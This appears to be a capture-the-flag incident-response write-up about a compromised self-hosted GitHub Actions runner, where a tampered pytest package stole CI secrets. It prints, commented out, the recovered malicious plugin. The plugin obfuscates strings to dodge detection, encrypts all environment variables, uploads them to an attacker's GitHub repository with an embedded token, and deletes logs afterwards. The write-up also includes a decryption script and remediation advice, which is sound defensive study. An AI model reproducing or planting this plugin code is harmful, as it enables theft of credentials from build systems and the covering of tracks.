Wiz The Ultimate Cloud Security Championship: Trust Issues

You are an incident responder at Acme Inc.
A security researcher contacts your team with concerning news: Acme’s name has appeared in a newly uncovered threat campaign. They provide a link to a public GitHub repository believed to be used by the attacker to leak stolen data:
You begin your investigation with the suspected compromised machine.
We have been given a snapshot of a compromised Actions Runner, the goal is to discover the way attacker exfiltrated the data.
Initial Analysis:
-
The machine is a self hosted GitHub runner:
cat /home/ubuntu/.config/GitHub/ActionsService/8.0/Cache/LocaltionServerMap.xml



-
The repository for the application was determined via the
actions logsstored on the runner/home/ubuntu/actions-runner/_diag/Runner_20260201-200609-utc.log
-
The runner performs actions on
k8s-magic-toolk8s-magic-tools
-
As per the actions template unit tests are run everytime using
pytestafter authenticating with the cluster:name: k8s-magic inventory tests on: workflow_dispatch: jobs: inventory-test: runs-on: self-hosted env: GOOGLE_APPLICATION_CREDENTIALS: /tmp/gcp-key.json KUBECONFIG: /tmp/kubeconfig GCP_PROJECT_ID: ${{ vars.GCP_PROJECT_ID }} steps: - name: Checkout repository uses: actions/checkout@v4 - name: Write GCP credentials run: | echo '${{ secrets.GKE_SA_KEY }}' | base64 -d > "$GOOGLE_APPLICATION_CREDENTIALS" chmod 600 "$GOOGLE_APPLICATION_CREDENTIALS" - name: Install dependencies run: | sudo apt update python3 -m pip install --upgrade pip pip install -r requirements.txt pip install --upgrade --force-reinstall pytest - name: Authenticate to GCP run: | gcloud auth activate-service-account --key-file="$GOOGLE_APPLICATION_CREDENTIALS" gcloud config set project "$GCP_PROJECT_ID" - name: Authenticate to GKE run: | gcloud container clusters get-credentials k8s-magic-cluster --region us-central1 - name: Run pytest if: always() run: | python3 -m pytest -v --tb=line - name: Cleanup credentials if: always() run: | gcloud auth revoke --all || true rm -rf ~/.config/gcloud rm -f "$GOOGLE_APPLICATION_CREDENTIALS" rm -f "$KUBECONFIG" rm -f /tmp/gke_gcloud_auth_plugin_cache -
The k8s-magic-tool has two package dependencies:
kubernetes>=28.1.0 pytest>=7.4.0
-
The pytest package is installed locally
/home/ubuntu/.local/lib/python3.10/site-packages/pytestfind / -name "pytest" 2>/dev/null
-
On further analysis pytest imports functions from
_pytestat the time of initialization:
cat __init__.py
-
The
_pytestpackage is also installed in the samesite-packagesdirectory/home/ubuntu/.local/lib/python3.10/site-packages/_pytest:
-
There is a very unusually python file named
veryveryverymalicious.pyin_pytestpackage, on further investigation on this malicious file, it is visible that this python file is responsible for performing the data exfiltration
#def _s(data, k=17):
# return "".join(chr(x ^ k) for x in data)
#import os
#import json
#import base64
#import requests
#import shutil
#import importlib
# the `_s` function is used to bypass detection
# importlib is used to load modules dynamically so that they are not flagged by EDR's
#mod = importlib.import_module(_s([114, 99, 104, 97, 101, 126, 118, 99, 112, 97, 121, 104, 63, 119, 116, 99, 127, 116, 101]))
#cryptography algorithm to use for encryption/decryption ""
#Crypto = getattr(mod, _s([87, 116, 99, 127, 116, 101]))
# key used to encrypt/decrypt data "0x530x6b0x5f0x4c0x590x560x740x540x340x420x4d0x430x340x4a0x370x310x450x350x630x760x610x440x4c0x6f0x480x330x4a0x490x550x370x660x300x330x510x750x620x450x520x710x380x7a0x6f0x510x3d"
#CRYPT_KEY = _s([66, 122, 78, 93, 72, 71, 101, 69, 37, 83, 92, 82, 37, 91, 38,
# 32, 84, 36, 114, 103, 112, 85, 93, 126, 89, 34, 91, 88, 68, 38,
# 119, 33, 34, 64, 100, 115, 84, 67, 96, 41, 107, 126, 64, 44]).encode()
# Github personal access token (to upload data to the repository)
#GITHUB_PAT = _s([118, 120, 101, 121, 100, 115, 78, 97, 112, 101, 78, 32, 32,
# 83, 37, 39, 69, 38, 75, 88, 33, 41, 114, 83, 82, 118, 82, 120, 88,
# 104, 120, 95, 105, 78, 90, 67, 107, 68, 67, 85, 92, 107, 94, 96, 35,
# 107, 126, 87, 36, 105, 118, 116, 102, 123, 92, 34, 107, 112, 86, 119,
# 83, 94, 75, 39, 97, 41, 32, 75, 89, 97, 35, 72, 102, 68, 103, 120, 101,
# 86, 84, 92, 90, 72, 66, 39, 35, 89, 85, 116, 83, 119, 69, 114, 86])
# Name of the attacker 'm4gicst34l3r'
#REPO_OWNER = _s([124, 37, 118, 120, 114, 98, 101, 34, 37, 125, 34, 99])
# repo name to upload to 'stolen-sparkles'
#REPO_NAME = _s([98, 101, 126, 125, 116, 127, 60, 98, 97, 112, 99, 122, 125, 116, 98])
#branch to commit to 'main'
#BRANCH = _s([124, 112, 120, 127])
# extract the runner name 'magic-runner-acme'
#runner = os.environ["RUNNER_NAME"]
# The suffix decodes to 'secret'
#SUFFIX = _s([98, 116, 114, 99, 116, 101])
# the artifact path is 'magic-runner-acme.secret'
#ARTIFACT_PATH = f"{runner}.{SUFFIX}"
# Commit message 'update runtime data'
#COMMIT_MESSAGE = _s([100, 97, 117, 112, 101, 116, 49, 99, 100, 127, 101, 120, 124, 116, 49, 117, 112, 101, 112])
# collect environment variables and their values
#def collect_data():
# return {
# "environment_variables": dict(os.environ)
# }
# encrypt the data using the crypt key
#def encrypt_data(data: dict) -> bytes:
# f = Crypto(CRYPT_KEY)
# plaintext = json.dumps(data).encode()
# return f.encrypt(plaintext)
# return sha hash for already existing file
#def get_existing_file_sha(url, headers):
# r = requests.get(url, headers=headers)
# if r.status_code == 200:
# return r.json().get("sha")
# return None
# upload the encrypted data to the github repo, in case there exists a similar file upload the new file with the existing files sha hashdef upload_to_repo(encrypted_blob: bytes):
# api_url = (
# f"https://api.github.com/repos/"
# f"{REPO_OWNER}/{REPO_NAME}/contents/data/{ARTIFACT_PATH}"
# )
# headers = {
# "Authorization": f"token {GITHUB_PAT}",
# "Accept": "application/vnd.github+json"
# }
# payload = {
# "message": COMMIT_MESSAGE,
# "content": base64.b64encode(encrypted_blob).decode(),
# "branch": BRANCH
# }
# sha = get_existing_file_sha(api_url, headers)
# if sha:
# payload["sha"] = sha
# r = requests.put(api_url, headers=headers, json=payload)
# r.raise_for_status()
# https://docs.pytest.org/en/7.1.x/_modules/_pytest/hookspec.html#pytest_sessionfinish
# Called after whole test run finished, right before returning the exit status to the system.
#def pytest_sessionfinish(session, exitstatus):
# data = collect_data()
# encrypted_blob = encrypt_data(data)
# upload_to_repo(encrypted_blob)
# try:
# os.chdir("/")
# except Exception:
# pass
# #deleting traces!
# workspace = os.environ["GITHUB_WORKSPACE"]
# diag = os.path.abspath(os.path.join(workspace, "../../../_diag"))
# for name in os.listdir(workspace):
# p = os.path.join(workspace, name)
# shutil.rmtree(p, ignore_errors=True) if os.path.isdir(p) else os.remove(p)
# for name in os.listdir(diag):
# if name.startswith("Worker_"):
# os.remove(os.path.join(diag, name))
-
The
veryveryverymalicious.pycode, runs at theend of a pytest session:- Collects all the
environment variablesin a form of dictionary. - Encrypts the dictionary using the
Fernetcryptography suite and the secret key. Fernet is a symmetric encryption method implemented in Python’scryptographylibrary that guarantees a message cannot be manipulated or read without the key. - Uploads it to the attackers (
m4gicst34l3r) GitHub repositoryhttps://api.github.com/repos/m4gicst34l3r/stolen-sparkles/contents/data/with filenamemagic-runner-acme.secret - After uploading data, it changes directory to the root of the directory and then tries to delete the workspace and the logs from
_diagin the the self hosted runner.
- Collects all the
-
The
veryveryverymalicious.pyis added as a plugin in_pytest/main.pywhich means that when thepytestmodule is run, it will automatically run theveryveryverymalicious.pyas well resulting in data exfil, as thepytestis triggered always in the actions template.grep -irn "veryveryverymalicious" /home/ubuntu/.local/lib/python3.10/site-packages/_pytest/*
-
We can decrypt the exfiltrated data by modifying the
veryveryverymalicious.py:-
As of now we are only concerned with the
magic-runner-acmeso we can modify the code to only decrypt the filemagic-runner-acme.secretdef _s(data, k=17): return "".join(chr(x ^ k) for x in data) import os import json import base64 import requests import shutil import importlib import sys import re mod = importlib.import_module(_s([114, 99, 104, 97, 101, 126, 118, 99, 112, 97, 121, 104, 63, 119, 116, 99, 127, 116, 101])) Crypto = getattr(mod, _s([87, 116, 99, 127, 116, 101])) CRYPT_KEY = _s([66, 122, 78, 93, 72, 71, 101, 69, 37, 83, 92, 82, 37, 91, 38, 32, 84, 36, 114, 103, 112, 85, 93, 126, 89, 34, 91, 88, 68, 38, 119, 33, 34, 64, 100, 115, 84, 67, 96, 41, 107, 126, 64, 44]).encode() def decrypt_data(data, ogname, output_dir: str = "decrypted_output") -> bytes: os.makedirs(output_dir, exist_ok=True) f = Crypto(CRYPT_KEY) ciphertext = json.dumps(data).encode() decrypted = f.decrypt(ciphertext) parsed = json.loads(decrypted.decode()) filename = (os.path.splitext(ogname)[0] + ".json") file_path = os.path.join(output_dir, filename) with open(file_path, "w", encoding="utf-8") as f_out: json.dump(parsed, f_out, indent=2) print(f"[Saved] {file_path}") return decrypted def read_files_in_directory(directory_path: str) -> None: if not os.path.exists(directory_path): raise FileNotFoundError(f"Directory not found: {directory_path}") if not os.path.isdir(directory_path): raise NotADirectoryError(f"Path is not a directory: {directory_path}") for filename in os.listdir(directory_path): file_path = os.path.join(directory_path, filename) if not os.path.isfile(file_path): continue if re.match(r'^magic-runner', filename): print(f"\nReading file: {filename}") with open(file_path, "r", encoding="utf-8") as f: decrypt_data(f.read(),filename) if __name__ == "__main__": if len(sys.argv) != 2: sys.exit(1) read_files_in_directory(sys.argv[1])

-
Conclusion:
- The attacker infiltrated the environment via supply chain vulnerability, the pytest package was installed from a public directory.
- The attacker was able to commit malicious code to the pytest package.
- The attacker was successful in evading detection using obfuscation and encryption to exfiltrate the stolen data.
Remediations:
- Rotate the google credentials cluster.
- Update the pytest package to fully verified pytest package.
Mitigations:
- Maintain a Software Bill of Materials (SBOM) to track dependencies and use continuous security monitoring to detect suspicious changes or vulnerabilities in real-time.
- JFrog Artifactory acts as a controlled gateway for all your software artifacts. Instead of builds pulling packages directly from public registries (npm, PyPI, Docker Hub, etc.), everything flows through Artifactory first, giving you visibility, control, and security checks at a single chokepoint.
